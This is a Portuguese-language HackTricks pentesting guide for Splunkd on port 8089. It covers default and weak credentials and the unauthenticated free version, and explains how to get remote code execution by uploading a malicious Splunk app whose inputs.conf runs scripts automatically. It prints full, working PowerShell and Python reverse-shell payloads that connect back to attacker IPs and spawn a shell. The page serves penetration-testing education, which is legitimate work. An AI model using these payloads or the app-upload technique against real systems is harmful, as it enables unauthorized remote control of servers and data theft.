8089 - Pentesting Splunkd
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Informações Básicas
- Ferramenta de análise de logs usada para coleta, análise e visualização de dados
 - Comumente usada em monitoramento de segurança e análises de negócios
 - Portas padrão:
 - Servidor web: 8000
 - Serviço Splunkd: 8089
 
Vetores de Vulnerabilidade:
- Exploração da Versão Gratuita
 
- A versão de teste se converte automaticamente em versão gratuita após 60 dias
 - A versão gratuita não possui autenticação
 - Risco de segurança potencial se não for gerenciada
 - Administradores podem ignorar implicações de segurança
 
- Fraquezas de Credenciais
 
- Versões mais antigas: Credenciais padrão 
admin:changeme - Versões mais novas: Credenciais definidas durante a instalação
 - Potencial para uso de senhas fracas (ex.: 
admin,Welcome,Password123) 
- Oportunidades de Execução Remota de Código
 
- Múltiplos métodos de execução de código:
 - Aplicações Django do lado do servidor
 - Endpoints REST
 - Entradas scriptadas
 - Scripts de alerta
 - Suporte multiplataforma (Windows/Linux)
 - Entradas scriptadas podem executar:
 - Scripts Bash
 - Scripts PowerShell
 - Scripts em lote
 
Potencial de Exploração Chave:
- Armazenamento de dados sensíveis
 - Falta de autenticação na versão gratuita
 - Múltiplos vetores para potencial execução remota de código
 - Possibilidade de aproveitar entradas scriptadas para comprometimento do sistema
 
Shodan
Splunk build
RCE
Criar Aplicação Personalizada
O Splunk oferece um método sofisticado para execução remota de código através da implantação de aplicações personalizadas, aproveitando suas capacidades de script multiplataforma. A técnica central de exploração gira em torno da criação de uma aplicação maliciosa que pode executar shells reversos em sistemas Windows e Linux.
Uma aplicação personalizada pode executar scripts Python, Batch, Bash ou PowerShell. Além disso, o Splunk vem com Python instalado, então mesmo em sistemas Windows você poderá executar código python.
Você pode usar este exemplo com o bin contendo exemplo para Python e PowerShell. Ou você poderia criar o seu próprio.
O processo de exploração segue uma metodologia consistente entre plataformas:
splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)
O arquivo de configuração crítico inputs.conf ativa o script por:
- Definindo 
disabled = 0 - Configurando um intervalo de execução de 10 segundos
 - Definindo o tipo de fonte do script
 
A implantação é simples:
- Crie o pacote de aplicativo malicioso
 - Configure um listener (Netcat/socat) na máquina atacante
 - Faça o upload do aplicativo através da interface do Splunk
 - Acione a execução automática do script após o upload
 
Exemplo de shell reverso do Windows PowerShell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Exemplo de shell reverso Python no Linux:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Escalação de Privilégios
Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks